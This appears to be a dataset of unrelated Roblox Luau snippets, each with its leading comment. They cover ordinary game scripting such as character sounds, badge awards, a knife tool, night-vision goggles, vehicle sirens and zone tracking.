[sounds.Climbing] = function(dt: number, sound: Sound, vel: Vector3)
sound.Playing = vel.Magnitude > 0.1
end,
[sounds.FreeFalling] = function(dt: number, sound: Sound, vel: Vector3): ()
if vel.Magnitude > 75 then
sound.Volume = math.clamp(sound.Volume + 0.9*dt, 0, 1)
else
sound.Volume = 0
end
end,
[sounds.Running] = function(dt: number, sound: Sound, vel: Vector3)
sound.Playing = vel.Magnitude > 0.5 and humanoid.MoveDirection.Magnitude > 0.5
end,
}
-- state substitutions to avoid duplicating entries in the state table
local stateRemap: {[Enum.HumanoidStateType]: Enum.HumanoidStateType} = {
[Enum.HumanoidStateType.RunningNoPhysics] = Enum.HumanoidStateType.Running,
}
local activeState: Enum.HumanoidStateType = stateRemap[humanoid:GetState()] or humanoid:GetState()
local stateChangedConn = humanoid.StateChanged:Connect(function(_, state)
state = stateRemap[state] or state
if state ~= activeState then
local transitionFunc: () -> () = stateTransitions[state]
if transitionFunc then
transitionFunc()
end
activeState = state
end
end)
local steppedConn = RunService.Stepped:Connect(function(_, worldDt: number)
-- update looped sounds on stepped
for sound in pairs(playingLoopedSounds) do
local updater: (number, Sound, Vector3) -> () = loopedSoundUpdaters[sound]
if updater then
updater(worldDt, sound, rootPart.AssemblyLinearVelocity)
end
end
end)
local function terminate()
stateChangedConn:Disconnect()
steppedConn:Disconnect()
if FFlagUserAtomicCharacterSoundsUnparent then
-- Unparent all sounds and empty sounds table
-- This is needed in order to support the case where initializeSoundSystem might be called more than once for the same player,
-- which might happen in case player character is unparented and parented back on server and reset-children mechanism is active.
for name: string, sound: Sound in pairs(sounds) do
sound:Destroy()
end
table.clear(sounds)
end
end
return terminate
end
local binding = AtomicBinding.new({
humanoid = "Humanoid",
rootPart = "HumanoidRootPart",
}, initializeSoundSystem)
local playerConnections = {}
local function characterAdded(character)
binding:bindRoot(character)
end
local function characterRemoving(character)
binding:unbindRoot(character)
end
local function playerAdded(player: Player)
local connections = playerConnections[player]
if not connections then
connections = {}
playerConnections[player] = connections
end
if player.Character then
characterAdded(player.Character)
end
table.insert(connections, player.CharacterAdded:Connect(characterAdded))
table.insert(connections, player.CharacterRemoving:Connect(characterRemoving))
end
local function playerRemoving(player: Player)
local connections = playerConnections[player]
if connections then
for _, conn in ipairs(connections) do
conn:Disconnect()
end
playerConnections[player] = nil
end
if player.Character then
characterRemoving(player.Character)
end
end
for _, player in ipairs(Players:GetPlayers()) do
task.spawn(playerAdded, player)
end
Players.PlayerAdded:Connect(playerAdded)
Players.PlayerRemoving:Connect(playerRemoving)
|
-- grab local player |
local localPlayer = Players.LocalPlayer
|
-- Decompiled with the Synapse X Luau decompiler. |
return {
Name = "alias",
Aliases = {},
Description = "Creates a new, single command out of a command and given arguments.",
Group = "DefaultUtil",
Args = { {
Type = "string",
Name = "Alias name",
Description = "The key or input type you'd like to bind the command to."
}, {
Type = "string",
Name = "Command string",
Description = "The command text you want to run. Separate multiple commands with \"&&\". Accept arguments with $1, $2, $3, etc."
} },
ClientRun = function(p1, p2, p3)
p1.Cmdr.Registry:RegisterCommandObject(p1.Cmdr.Util.MakeAliasCommand(p2, p3), true);
return ("Created alias %q"):format(p2);
end
};
|
--playNstop |
function module.playNstop(anim, hum, dur)
local animation = hum.Animator:LoadAnimation( anim)
animation:Play()
task.delay(dur, function()
animation:Stop()
end)
end
|
-- Local Functions |
local function setupPlayerStats(player)
local character = player.Character or player.CharacterAdded:wait()
local humanoid = character:WaitForChild("Humanoid")
local stats = Instance.new("Folder")
stats.Name = "stats"
stats.Parent = player
local points = Instance.new("NumberValue")
points.Name = GameSettings.pointsName
points.Value = DataStore:GetCurrentPoints(player)
points.Parent = stats
local totalpoints = Instance.new("IntValue")
totalpoints.Name = "Total" .. GameSettings.pointsName
totalpoints.Value = DataStore:GetTotalPoints(player)
totalpoints.Parent = stats
local upgrade = Instance.new("IntValue")
upgrade.Name = GameSettings.upgradeName
upgrade.Value = DataStore:GetUpgrades(player)
upgrade.Parent = stats
end
|
-- Loading |
local CutsceneFolder = workspace.Cutscenes:WaitForChild("run") -- The folder that contains the cutscene data (Cameras...)
local Destroy = true -- Destroy folder after loading? you don't want your player to see your cameras floating around!
local NoYield = false -- Generally you want this to be set to false, because loading takes a little bit of time, and you don't want to interact with the cutscene when it's not loaded
local SafeMode = true -- This is adviced to be turned on, especially if the cutscene folder data is too big to load at one frame. when turned on, it loads a camera every frame, not all at once.
local Cutscene = require(CutsceneModule)
local Demo = Cutscene.new(Camera, Looping, Speed, FreezeControls) -- Create cutscene
Demo:Load(CutsceneFolder, Destroy, NoYield, SafeMode) -- Load cutscene data from folder
local PlayOnPartTouch = script:FindFirstChild("PlayOnPartTouch")
local PlayOnPlayerJoin = script:FindFirstChild("PlayOnPlayerJoin")
local PlayOnCharacterAdded = script:FindFirstChild("PlayOnCharacterAdded")
local PlayOnCharacterDied = script:FindFirstChild("PlayOnCharacterDied")
local PlayOnEventFire = script:FindFirstChild("PlayOnEventFire")
local PlayOnRemoteEventFire = script:FindFirstChild("PlayOnRemoteEventFire")
local ProtectTheCharacterWhilePlaying = script:FindFirstChild("ProtectTheCharacterWhilePlaying")
local CharacterProtector = script:FindFirstChild("CharacterProtector")
local Music = script:FindFirstChild("Music")
local StopMusicWhenFinished = script:FindFirstChild("StopMusicWhenFinished")
local StopOnEventFire = script:FindFirstChild("StopOnEventFire")
local StopOnRemoteEventFire = script:FindFirstChild("StopOnRemoteEventFire")
local PlayOnce = script:FindFirstChild("PlayOnce")
local Debounce = script:FindFirstChild("Cooldown")
local OnFinishedRemove = script:FindFirstChild("OnFinishedRemove")
local bin = true
local Player = game:GetService("Players").LocalPlayer
local CutsceneGui = script:FindFirstChild("Cutscene")
|
-- ROBLOX scripter hackers, see what you can do with this:
-- game:GetService("BadgeService"):UserHasBadge(userid, badgeid) |
local db = false
function OnTouch(part)
if db then return else db = true end
if (part.Parent:FindFirstChild("Humanoid") ~= nil) then
local p = game.Players:GetPlayerFromCharacter(part.Parent)
if (p ~= nil) then
if not game:GetService("BadgeService"):UserHasBadge(p.userId, script.Parent.BadgeID.Value) then
print("Awarding BadgeID: " ..script.Parent.BadgeID.Value .. " to UserID: " .. p.userId)
local b = game:GetService("BadgeService")
b:AwardBadge(p.userId, script.Parent.BadgeID.Value)
game.PointsService:AwardPoints(p.userId,1000)
wait(4 + math.random())
end
end
end
db = false
end
script.Parent.Touched:connect(OnTouch)
|
--just send ur backup tick to the function and it should work fineeeee |
tool.Activated:Connect(function()
if state == "idle" then
state = "swinging"
for i,v in pairs(hitpeople) do
hitpeople[i] = nil
end
local backuptick = equiptick
if (tick() - lastswingtick) > 2 then
swinganimation = 0
end
if swinganimation == 0 then
swinganimation = 1
charhum.WalkSpeed = charhum.WalkSpeed + speedbuff
pose("swing", 1, 0.25*animslowdownmult, backuptick)
wait(0.2*animslowdownmult)
trail.Enabled = true
remote:FireClient(player, "1")
playswingid()
pose("swing", 2, 0.05*animslowdownmult, backuptick)
wait(0.05*animslowdownmult)
pose("swing", 3, 0.2*animslowdownmult, backuptick)
wait(0.2*animslowdownmult)
remote:FireClient(player, "2")
trail.Enabled = false
charhum.WalkSpeed = charhum.WalkSpeed - speedbuff
pose("equip", 2, 0.5*animslowdownmult, backuptick)
wait(0.3*animslowdownmult)
if backuptick == equiptick then
state = "idle"
end
elseif swinganimation == 1 then
swinganimation = 2
charhum.WalkSpeed = charhum.WalkSpeed + speedbuff
pose("swing2", 1, 0.25*animslowdownmult, backuptick)
wait(0.2*animslowdownmult)
trail.Enabled = true
remote:FireClient(player, "1")
playswingid()
pose("swing2", 2, 0.15*animslowdownmult, backuptick)
wait(0.15*animslowdownmult)
pose("swing2", 3, 0.1*animslowdownmult, backuptick)
wait(0.1*animslowdownmult)
charhum.WalkSpeed = charhum.WalkSpeed - speedbuff
pose("swing2", 4, 0.2*animslowdownmult, backuptick)
wait(0.2*animslowdownmult)
remote:FireClient(player, "2")
trail.Enabled = false
pose("equip", 2, 0.5*animslowdownmult, backuptick)
wait(0.3*animslowdownmult)
if backuptick == equiptick then
state = "idle"
end
elseif swinganimation == 2 then
swinganimation = 0
charhum.WalkSpeed = charhum.WalkSpeed + speedbuff
pose("swing3", 1, 0.1*animslowdownmult, backuptick)
wait(0.1*animslowdownmult)
pose("swing3", 2, 0.35*animslowdownmult, backuptick)
wait(0.3*animslowdownmult)
trail.Enabled = true
remote:FireClient(player, "1")
playswingid()
pose("swing3", 3, 0.1*animslowdownmult, backuptick)
wait(0.1*animslowdownmult)
pose("swing3", 4, 0.16*animslowdownmult, backuptick)
wait(0.08*animslowdownmult)
remote:FireClient(player, "2")
trail.Enabled = false
charhum.WalkSpeed = charhum.WalkSpeed - speedbuff
pose("swing3", 5, 0.1*animslowdownmult, backuptick)
wait(0.1*animslowdownmult)
pose("equip", 2, 0.5*animslowdownmult, backuptick)
wait(0.5*animslowdownmult)
if backuptick == equiptick then
state = "idle"
end
end
lastswingtick = tick()
end
end)
tool.Equipped:Connect(function()
state = "equipping"
validatetick = tick()
local backuptick = validatetick
equiptick = validatetick
player = players:GetPlayerFromCharacter(tool.Parent)
character = player.Character
charhum = character:FindFirstChildOfClass("Humanoid")
weldlimb(character.HumanoidRootPart, character.Torso, cfnew(), "HumanoidRootPartWeld")
weldlimb(character.Torso, character.Head, cfnew(0,1.5,0), "HeadWeld")
weldlimb(character.Head, character["Right Arm"], cfnew(1.43301296, -0.691987038, 0.466506958, 0.866025388, 0, 0.5, -0.249999985, -0.866025329, 0.433012664, 0.433012694, -0.5, -0.75), "RightArmWeld")
weldlimb(character.Head, character["Left Arm"], cfnew(-1.5, -1.5, 0, 1, 0, 0, 0, 0.99999994, 0, 0, 0, 1), "LeftArmWeld")
local grip = character["Right Arm"]:WaitForChild("RightGrip")
grip.C0 = cfnew(0.00500011444, -1, -1.34000015, -1.74622983e-10, 1.00000036, -6.56216748e-11, 0.999999881, -1.74622955e-10, 8.9406953e-08, -8.94069672e-08, 6.56216748e-11, -1)
pose("equip", 1, 0.25, backuptick)
wait(0.25)
pose("equip", 2, 0.25, backuptick)
wait(0.2)
if state == "equipping" then
state = "idle"
end
end)
tool.Unequipped:Connect(function()
state = "unequipped"
local limb1 = findthing("HeadWeld", character)
local limb2 = findthing("RightArmWeld", character)
local limb3 = findthing("LeftArmWeld", character)
local limb4 = findthing("HumanoidRootPartWeld", character)
if limb1 then
limb1:Destroy()
end
if limb2 then
limb2:Destroy()
end
if limb3 then
limb3:Destroy()
end
if limb4 then
limb4:Destroy()
end
end)
|
-- Local Variables |
local TimeObject = workspace:WaitForChild('MapPurgeProof'):WaitForChild('Time')
local ScreenGui = script.Parent.ScreenGui
local Timer = ScreenGui.ScoreFrame.Frame.Timer
local Events = game:GetService("ReplicatedStorage").Events
local DisplayTimerInfo = Events.DisplayTimerInfo
|
--------| Reference |-------- |
local isServer = _L.Services.RunService:IsServer()
local events = {}
local funcs = {}
|
--Weld stuff here |
MakeWeld(misc.Wiper.Hinge,car.DriveSeat,"Motor",.1)
ModelWeld(misc.Wiper.Parts,misc.Wiper.Hinge)
MakeWeld(misc.Wiper2.Hinge,car.DriveSeat,"Motor",.1)
ModelWeld(misc.Wiper2.Parts,misc.Wiper2.Hinge)
MakeWeld(car.Misc.Spoiler.SS,car.DriveSeat,"Motor",.04).Name="W"
ModelWeld(car.Misc.Spoiler.Parts,car.Misc.Spoiler.SS)
car.DriveSeat.ChildAdded:connect(function(child)
if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0)
end
end)
|
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
---------------------------------------------------------------- |
function Create(ty,data)
local obj
if type(ty) == 'string' then
obj = Instance.new(ty)
else
obj = ty
end
for k, v in pairs(data) do
if type(k) == 'number' then
v.Parent = obj
else
obj[k] = v
end
end
return obj
end
local barActive = false
local activeOptions = {}
function createDDown(dBut, callback,...)
if barActive then
for i,v in pairs(activeOptions) do
v:Destroy()
end
activeOptions = {}
barActive = false
return
else
barActive = true
end
local slots = {...}
local base = dBut
for i,v in pairs(slots) do
local newOption = base:Clone()
newOption.ZIndex = 5
newOption.Name = "Option "..tostring(i)
newOption.Parent = base.Parent.Parent.Parent
newOption.BackgroundTransparency = 0
newOption.ZIndex = 2
table.insert(activeOptions,newOption)
newOption.Position = UDim2.new(-0.4, dBut.Position.X.Offset, dBut.Position.Y.Scale, dBut.Position.Y.Offset + (#activeOptions * dBut.Size.Y.Offset))
newOption.Text = slots[i]
newOption.MouseButton1Down:connect(function()
dBut.Text = slots[i]
callback(slots[i])
for i,v in pairs(activeOptions) do
v:Destroy()
end
activeOptions = {}
barActive = false
end)
end
end
|
-- Variables |
local rs = game:GetService("RunService")
local plr = game.Players.LocalPlayer
local char = plr.Character
local mFrame = script.Parent
local iContainer = mFrame.ItemContainer
local currentTool = nil
|
--------------------- TEMPLATE BLADE WEAPON ---------------------------
-- Waits for the child of the specified parent |
local function WaitForChild(parent, childName)
while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
return parent[childName]
end
local SLASH_DAMAGE = 20
local DOWNSTAB_DAMAGE = 35
local THROWING_DAMAGE = 40
local HOLD_TO_THROW_TIME = 0.38
local Damage = 20
local MyHumanoid = nil
local MyTorso = nil
local MyCharacter = nil
local MyPlayer = nil
local Tool = script.Parent
local Handle = WaitForChild(Tool, 'Handle')
local BlowConnection
local Button1DownConnection
local Button1UpConnection
local PlayStabPunch
local PlayDownStab
local PlayThrow
local PlayThrowCharge
local IconUrl = Tool.TextureId -- URL to the weapon knife icon asset
local DebrisService = Game:GetService('Debris')
local PlayersService = Game:GetService('Players')
local SlashSound
local HitPlayers = {}
local LeftButtonDownTime = nil
local Attacking = false
function Blow(hit)
if Attacking then
BlowDamage(hit, Damage)
end
end
function BlowDamage(hit, damage)
local humanoid = hit.Parent:FindFirstChild('Humanoid')
local player = PlayersService:GetPlayerFromCharacter(hit.Parent)
if humanoid ~= nil and MyHumanoid ~= nil and humanoid ~= MyHumanoid then
if not MyPlayer.Neutral then
-- Ignore teammates hit
if player and player ~= MyPlayer and player.TeamColor == MyPlayer.TeamColor then
return
end
end
-- final check, make sure weapon is in-hand
local rightArm = MyCharacter:FindFirstChild('Right Arm')
if (rightArm ~= nil) then
-- Check if the weld exists between the hand and the weapon
local joint = rightArm:FindFirstChild('RightGrip')
if (joint ~= nil and (joint.Part0 == Handle or joint.Part1 == Handle)) then
-- Make sure you only hit them once per swing
if player and not HitPlayers[player] then
TagHumanoid(humanoid, MyPlayer)
print("Sending " .. damage)
humanoid:TakeDamage(damage)
Handle.Splat.Volume = 1
HitPlayers[player] = true
end
end
end
end
end
function TagHumanoid(humanoid, player)
-- Add more tags here to customize what tags are available.
while humanoid:FindFirstChild('creator') do
humanoid:FindFirstChild('creator'):Destroy()
end
local creatorTag = Instance.new('ObjectValue')
creatorTag.Value = player
creatorTag.Name = 'creator'
creatorTag.Parent = humanoid
DebrisService:AddItem(creatorTag, 1.5)
local weaponIconTag = Instance.new('StringValue')
weaponIconTag.Value = IconUrl
weaponIconTag.Name = 'icon'
weaponIconTag.Parent = creatorTag
DebrisService:AddItem(weaponIconTag, 1.5)
end
function HardAttack()
Damage = SLASH_DAMAGE
SlashSound:play()
if PlayStabPunch then
PlayStabPunch.Value = true
wait(1.0)
PlayStabPunch.Value = false
end
end
function NormalAttack()
Damage = DOWNSTAB_DAMAGE
KnifeDown()
SlashSound:play()
if PlayDownStab then
PlayDownStab.Value = true
wait(1.0)
PlayDownStab.Value = false
end
KnifeUp()
end
function ThrowAttack()
KnifeOut()
if PlayThrow then
PlayThrow.Value = true
wait(0.3)
if not Handle then return end
local throwingHandle = Handle:Clone()
DebrisService:AddItem(throwingHandle, 5)
throwingHandle.Parent = Workspace
if MyCharacter and MyHumanoid then
throwingHandle.Velocity = (MyHumanoid.TargetPoint - throwingHandle.CFrame.p).unit * 100
-- set the orientation to the direction it is being thrown in
throwingHandle.CFrame = CFrame.new(throwingHandle.CFrame.p, throwingHandle.CFrame.p + throwingHandle.Velocity) * CFrame.Angles(0, 0, math.rad(-90))
local floatingForce = Instance.new('BodyForce', throwingHandle)
floatingForce.force = Vector3.new(0, 196.2 * throwingHandle:GetMass() * 0.98, 0)
local spin = Instance.new('BodyAngularVelocity', throwingHandle)
spin.angularvelocity = throwingHandle.CFrame:vectorToWorldSpace(Vector3.new(0, -400, 0))
end
Handle.Transparency = 1
-- Wait so that the knife has left the thrower's general area
wait(0.08)
if throwingHandle then
local touchedConn = throwingHandle.Touched:connect(function(hit) print("hit throw") BlowDamage(hit, THROWING_DAMAGE) end)
end
-- must check if it still exists since we waited
if throwingHandle then
throwingHandle.CanCollide = true
end
wait(0.6)
if Handle and PlayThrow then
Handle.Transparency = 0
PlayThrow.Value = false
end
end
KnifeUp()
end
function KnifeUp()
Tool.GripForward = Vector3.new(-1,0,0)
Tool.GripRight = Vector3.new(0,1,0)
Tool.GripUp = Vector3.new(0,0,1)
end
function KnifeDown()
Tool.GripForward = Vector3.new(-1,0,0)
Tool.GripRight = Vector3.new(0,1,0)
Tool.GripUp = Vector3.new(0,0,-1)
end
function KnifeOut()
Tool.GripForward = Vector3.new(0,0,1)
Tool.GripRight = Vector3.new(0,-1,0)
Tool.GripUp = Vector3.new(-1,0,0)
end
Tool.Enabled = true
function OnLeftButtonDown()
LeftButtonDownTime = time()
if PlayThrowCharge then
PlayThrowCharge.Value = true
end
end
function OnLeftButtonUp()
if not Tool.Enabled then return end
-- Reset the list of hit players every time we start a new attack
HitPlayers = {}
if PlayThrowCharge then
PlayThrowCharge.Value = false
end
if Tool.Enabled and MyHumanoid and MyHumanoid.Health > 0 then
Tool.Enabled = false
local currTime = time()
if LeftButtonDownTime and currTime - LeftButtonDownTime > HOLD_TO_THROW_TIME and
currTime - LeftButtonDownTime < 1.15 then
ThrowAttack()
else
Attacking = true
if math.random(1, 2) == 1 then
HardAttack()
else
NormalAttack()
end
Attacking = false
end
Tool.Enabled = true
end
end
function OnEquipped(mouse)
PlayStabPunch = WaitForChild(Tool, 'PlayStabPunch')
PlayDownStab = WaitForChild(Tool, 'PlayDownStab')
PlayThrow = WaitForChild(Tool, 'PlayThrow')
PlayThrowCharge = WaitForChild(Tool, 'PlayThrowCharge')
SlashSound = WaitForChild(Handle, 'Swoosh1')
Handle.Splat.Volume = 0
SlashSound:play()
BlowConnection = Handle.Touched:connect(Blow)
MyCharacter = Tool.Parent
MyTorso = MyCharacter:FindFirstChild('Torso')
MyHumanoid = MyCharacter:FindFirstChild('Humanoid')
MyPlayer = PlayersService.LocalPlayer
if mouse then
Button1DownConnection = mouse.Button1Down:connect(OnLeftButtonDown)
Button1UpConnection = mouse.Button1Up:connect(OnLeftButtonUp)
end
KnifeUp()
end
function OnUnequipped()
-- Unequip logic here
if BlowConnection then
BlowConnection:disconnect()
BlowConnection = nil
end
if Button1DownConnection then
Button1DownConnection:disconnect()
Button1DownConnection = nil
end
if Button1UpConnection then
Button1UpConnection:disconnect()
Button1UpConnection = nil
end
MyHumanoid = nil
end
Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)
|
--//DEFAULT VALUES |
local defexposure = game.Lighting.ExposureCompensation
local nvg
local onanim
local gui
local offanim
local config
local onremoved
local setting
local helmet
function removehelmet()
if plr.Character then
onremoved:Disconnect()
animating = false
togglenvg(false)
actionservice:UnbindAction("nvgtoggle")
if gui then
gui:Destroy()
end
if helmet then
helmet:Destroy()
end
end
end
function oncharadded(newchar)
newchar:WaitForChild("Humanoid").Died:connect(function()
removehelmet()
end)
newchar.ChildAdded:connect(function(child)
local removebutton
if child.Name == "Helmet" then
helmet = child
gui = Instance.new("ScreenGui")
gui.IgnoreGuiInset = true
removebutton = Instance.new("TextButton")
removebutton.Text = "Helmet"
removebutton.Size = UDim2.new(.05,0,.035,0)
removebutton.TextColor3 = Color3.new(.75,.75,.75)
removebutton.Position = UDim2.new(.1,0,.3,0)
removebutton.BackgroundTransparency = .45
removebutton.BackgroundColor3 = Color3.fromRGB(124, 52, 38)
removebutton.Font = Enum.Font.SourceSansBold
removebutton.TextScaled = true
removebutton.MouseButton1Down:connect(removehelmet)
removebutton.Parent = gui
gui.Parent = plr.PlayerGui
onremoved = child.AncestryChanged:Connect(function(_, parent)
if not parent then
removehelmet()
end
end)
end
local newnvg = child:WaitForChild("Up",.5)
if newnvg then
nvg = newnvg
config = require(nvg:WaitForChild("AUTO_CONFIG"))
setting = nvg:WaitForChild("NVG_Settings")
local noise = Instance.new("ImageLabel")
noise.BackgroundTransparency = 1
noise.ImageTransparency = 1
local overlay = noise:Clone()
overlay.Image = "rbxassetid://"..setting.OverlayImage.Value
overlay.Size = UDim2.new(1,0,1,0)
overlay.Name = "Overlay"
local buttonpos = setting.RemoveButtonPosition.Value
removebutton.Position = UDim2.new(buttonpos.X,0,buttonpos.Y,0)
noise.Name = "Noise"
noise.AnchorPoint = Vector2.new(.5,.5)
noise.Position = UDim2.new(.5,0,.5,0)
noise.Size = UDim2.new(2,0,2,0)
overlay.Parent = gui
noise.Parent = gui
local info = config.tweeninfo
local function addtweens(base,extra)
if extra then
for _,tween in pairs(extra)do
table.insert(base,tween)
end
end
end
onanim = config.onanim
offanim = config.offanim
on_overlayanim = {
tweenservice:Create(game.Lighting,info,{ExposureCompensation = setting.Exposure.Value}),
tweenservice:Create(colorcorrection,info,{Brightness = setting.OverlayBrightness.Value,Contrast = .8,Saturation = -1,TintColor = setting.OverlayColor.Value}),
tweenservice:Create(gui.Overlay,info,{ImageTransparency = 0}),
tweenservice:Create(gui.Noise,info,{ImageTransparency = 0}),
}
off_overlayanim = {
tweenservice:Create(game.Lighting,info,{ExposureCompensation = defexposure}),
tweenservice:Create(colorcorrection,info,{Brightness = 0,Contrast = 0,Saturation = 0,TintColor = Color3.fromRGB(255, 255, 255)}),
tweenservice:Create(gui.Overlay,info,{ImageTransparency = 1}),
tweenservice:Create(gui.Noise,info,{ImageTransparency = 1})
}
actionservice:BindAction("nvgtoggle",function() togglenvg(not nvgactive) return Enum.ContextActionResult.Pass end, true, Enum.KeyCode.N)
end
end)
end
plr.CharacterAdded:connect(oncharadded)
local oldchar = workspace:FindFirstChild(plr.Name)
if oldchar then
oncharadded(oldchar)
end
function playtween(tweentbl)
spawn(function()
for _,step in pairs(tweentbl) do
if typeof(step) == "number" then
wait(step)
else
step:Play()
end
end
end)
end
function applyprops(obj,props)
for propname,val in pairs(props)do
obj[propname] = val
end
end
function cycle(grain)
local label = gui.Noise
local source = grain.src
local newframe
repeat newframe = source[math.random(1, #source)];
until newframe ~= grain.last
label.Image = 'rbxassetid://'..newframe
local rand = math.random(230,255)
label.Position = UDim2.new(math.random(.4,.6),0,math.random(.4,.6),0)
label.ImageColor3 = Color3.fromRGB(rand,rand,rand)
grain.last = newframe
end
function togglenvg(bool)
if not animating and nvg then
nvgevent:FireServer()
gui.TextButton.Visible = not bool
animating = true
nvgactive = bool
if config.lens then
config.lens.Material = bool and "Neon" or "Glass"
end
if bool then
playtween(onanim)
delay(.75,function()
playtween(on_overlayanim)
spawn(function()
while nvgactive do
cycle(config.dark)
cycle(config.light)
wait(0.05)
end
end)
animating = false
end)
else
playtween(offanim)
delay(.5,function()
playtween(off_overlayanim)
animating = false
end)
end
end
end
nvgevent.OnClientEvent:connect(function(nvg,activate)
local twistjoint = nvg:WaitForChild("twistjoint")
local config = require(nvg.AUTO_CONFIG)
local lens = config.lens
if lens then
lens.Material = activate and "Neon" or "Glass"
end
playtween(config[activate and "onanim" or "offanim"])
end)
local lighting = game.Lighting
local rs = game.ReplicatedStorage
local autolighting = rs:WaitForChild("EnableAutoLighting")
if autolighting.Value then
function llerp(a,b,t)
return a*(1-t)+b*t
end
local minbrightness = rs:WaitForChild("MinBrightness").Value
local maxbrightness = rs:WaitForChild("MaxBrightness").Value
local minambient = rs:WaitForChild("MinAmbient").Value
local maxambient = rs:WaitForChild("MaxAmbient").Value
local minoutdoor = rs:WaitForChild("MinOutdoorAmbient").Value
local maxoutdoor = rs:WaitForChild("MaxOutdoorAmbient").Value
function setdaytime()
local newtime = lighting.ClockTime
local middaydiff = math.abs(newtime-12)
local f = (1-middaydiff/12)
lighting.Brightness = llerp(minbrightness,maxbrightness,f)
lighting.Ambient = minambient:lerp(maxambient,f)
lighting.OutdoorAmbient = minoutdoor:lerp(maxoutdoor,f)
end
game:GetService("RunService").RenderStepped:connect(setdaytime)
end
|
--/Recoil Modification |
module.camRecoil = {
RecoilUp = 1
,RecoilTilt = 1
,RecoilLeft = 1
,RecoilRight = 1
}
module.gunRecoil = {
RecoilUp = 1
,RecoilTilt = 1
,RecoilLeft = 1
,RecoilRight = 1
}
module.AimRecoilReduction = .85
module.AimSpreadReduction = 1
module.MinRecoilPower = 1
module.MaxRecoilPower = 1
module.RecoilPowerStepAmount = 1
module.MinSpread = 1
module.MaxSpread = 1
module.AimInaccuracyStepAmount = 1
module.AimInaccuracyDecrease = 1
module.WalkMult = 1
module.MuzzleVelocityMod = 1
return module
|
---CODE |
elseif folder.KV.Value.Value == "" and config.AllCodes.Value == true then
huh.ButtonSound:Play()
folder.KV.Value.Value = ""
folder.CodePrivate.Value = ""
sys.Code.Value = true |
-- texan fixed for new ELS :))) |
seat = script.Parent.Parent--the car's vehicle seat. Currently can be any part
sound = seat.Parent.Sound
sirens = {}
for i,v in pairs (sound:GetChildren()) do
if v:IsA("Sound") and v.Name ~= "horn" then
table.insert(sirens,{playing=false,horn=v})
end
end
function siren()
local distto = seat.Values.siren.Value:find(",")+0
local siren1 = seat.Values.siren.Value:sub(1,distto-1)
local siren2 = seat.Values.siren.Value:sub(distto+0)
for _,i in pairs (sirens) do
if i.horn.Name ~= siren1 and i.horn.Name ~= siren2 then
i.playing = false
i.horn:Stop()
end
if i.horn.Name == siren1 or i.horn.Name == siren2 then
if not i.playing then
i.playing = true
i.horn:Play()
end
end
end
end
seat.Values.siren.Changed:connect(siren)
|
--health.Changed:connect(function()
--root.Velocity = Vector3.new(0,5000,0)
--end) |
local anims = {}
local lastAttack= tick()
local target,targetType
local lastLock = tick()
local fleshDamage = 35
local structureDamage = 50
local path = nil
local animController = ant:WaitForChild("AnimationController")
local preAnims = { |
--[[
Removes a Spring from the scheduler.
]] |
function SpringScheduler.remove(spring: Spring)
local damping = spring._lastDamping
local speed = spring._lastSpeed
local dampingBucket = springBuckets[damping]
if dampingBucket == nil then
return
end
local speedBucket = dampingBucket[speed]
if speedBucket == nil then
return
end
speedBucket[spring] = nil
end
|
-- CHARACTER HANDLER
-- This enables character data (volume, HumanoidRootParts, etc) to be handled on
-- an event-basis, instead of being retrieved every interval |
local function updateCharactersTotalVolume()
charactersTotalVolume = 0
bodyParts = {}
-- We ignore these due to their insignificance (e.g. we ignore the lower and
-- upper torso because the HumanoidRootPart also covers these areas)
-- This ultimately reduces the burden on the player region checks
local bodyPartsToIgnore = {
UpperTorso = true,
LowerTorso = true,
Torso = true,
LeftHand = true,
RightHand = true,
LeftFoot = true,
RightFoot = true,
}
for _, plr in pairs(players:GetPlayers()) do
local charRegion = ZoneController.getCharacterRegion(plr)
if charRegion then
local rSize = charRegion.Size
local charVolume = rSize.X*rSize.Y*rSize.Z
charactersTotalVolume += charVolume
for _, part in pairs(plr.Character:GetChildren()) do
if part:IsA("BasePart") and not bodyPartsToIgnore[part.Name] then
table.insert(bodyParts, part)
end
end
end
end
end
players.PlayerAdded:Connect(function(plr)
plr.CharacterAdded:Connect(function(char)
local humanoid = char:WaitForChild("Humanoid", 3)
if humanoid then
updateCharactersTotalVolume()
for _, valueInstance in pairs(humanoid:GetChildren()) do
if valueInstance:IsA("NumberValue") then
valueInstance.Changed:Connect(function()
updateCharactersTotalVolume()
end)
end
end
end
end)
end)
players.PlayerRemoving:Connect(function(plr)
updateCharactersTotalVolume()
playerExitDetections[plr] = nil
end)
|
---------- |
local Lobby = Roact.PureComponent:extend("Lobby")
|
-- Called when character is about to be removed |
function BaseOcclusion:CharacterRemoving(char, player)
end
function BaseOcclusion:OnCameraSubjectChanged(newSubject)
end
|
-- Roblox character sound script |
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local SOUND_DATA : { [string]: {[string]: any}} = {
Climbing = {
SoundId = "",
Looped = true,
},
Died = {
SoundId = "",
},
FreeFalling = {
SoundId = "",
Looped = true,
},
GettingUp = {
SoundId = "",
},
Jumping = {
SoundId = "",
},
Landing = {
SoundId = "",
},
Running = {
SoundId = "rbxassetid://10298831700",
Looped = true,
Volume = 0.2,
},
Splash = {
SoundId = "",
},
Swimming = {
SoundId = "",
Looped = true,
Pitch = 1.6,
},
}
|
--[[
body.MP.Sound.Changed:Connect(function(val)
if val == "Volume" then
--body.MP.Sound.Volume = body.Parent.DriveSeat.Values.MusicVolume.Value
body.MP.OutsideSound.Volume = 0 --prevents muffle
-- body.MP.OutsideSound.Muffle.Enabled = false
end
end)--]] | |
--[[
-- Example enum
createEnum("Color", {
{"White", 1, Color3.fromRGB(255, 255, 255)},
{"Black", 2, Color3.fromRGB(0, 0, 0)},
})
--]] |
return Enum
|
--// F key, Horn |
mouse.KeyUp:connect(function(key)
if key=="f" then
veh.Lightbar.middle.Airhorn:Stop()
end
end)
mouse.KeyDown:connect(function(key)
if key=="j" then
veh.Lightbar.middle.Beep:Play()
veh.Lightbar.RemoteEvent:FireServer(true)
end
end)
|
-- places a death touch on all green parts, kill blocks. |
local waits = .01
local debounce = false
for _, x in pairs(game:GetService("Workspace"):GetDescendants()) do
